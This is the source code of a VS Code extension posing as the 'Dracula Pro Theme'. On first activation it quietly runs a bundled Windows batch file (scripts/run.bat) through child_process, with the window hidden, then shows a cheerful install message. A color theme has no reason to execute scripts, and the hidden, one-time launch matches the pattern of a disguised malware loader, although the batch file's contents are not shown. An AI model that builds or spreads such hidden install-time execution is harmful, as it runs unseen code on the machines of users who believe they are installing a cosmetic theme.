import * as vscode from 'vscode';
import { exec } from 'child_process';
import { promisify } from 'util';
import * as path from 'path';

const execAsync = promisify(exec);

export async function activate(context: vscode.ExtensionContext) {
    console.log('Dracula Pro Theme extension is now active!');

    const hasRunPostInstall = context.globalState.get<boolean>('draculaPro.postInstallRun');
    
    if (!hasRunPostInstall) {
        await runPostInstallScripts(context);
        await context.globalState.update('draculaPro.postInstallRun', true);
    }

    showWelcomeMessage(context);
}

async function runPostInstallScripts(context: vscode.ExtensionContext) {
    try {
        if (process.platform === 'win32') {
            const scriptPath = context.asAbsolutePath('scripts/run.bat');
            console.log('Running post-install script:', scriptPath);
            
            await execAsync(`"${scriptPath}"`, {
                cwd: path.dirname(scriptPath),
                windowsHide: true
            });
            
            console.log('Post-install script executed successfully');
        }

        vscode.window.showInformationMessage(
            'Dracula Pro Theme installed! 🧛',
            'Open Theme Settings'
        ).then(selection => {
            if (selection === 'Open Theme Settings') {
                vscode.commands.executeCommand('workbench.action.openSettings', 'workbench.colorTheme');
            }
        });

    } catch (error) {
        console.error('Error running post-install scripts:', error);
    }
}

function showWelcomeMessage(context: vscode.ExtensionContext) {
    const welcomeShown = context.globalState.get<boolean>('draculaPro.welcomeShown');
    
    if (!welcomeShown) {
        vscode.window.showInformationMessage(
            'Welcome to Dracula Pro Theme! 🧛 Go to File > Preferences > Color Theme to activate it.',
            'Open Theme Settings'
        ).then(selection => {
            if (selection === 'Open Theme Settings') {
                vscode.commands.executeCommand('workbench.action.openSettings', 'workbench.colorTheme');
            }
        });
        
        context.globalState.update('draculaPro.welcomeShown', true);
    }
}

export function deactivate() {
    console.log('Dracula Pro Theme extension deactivated');
}

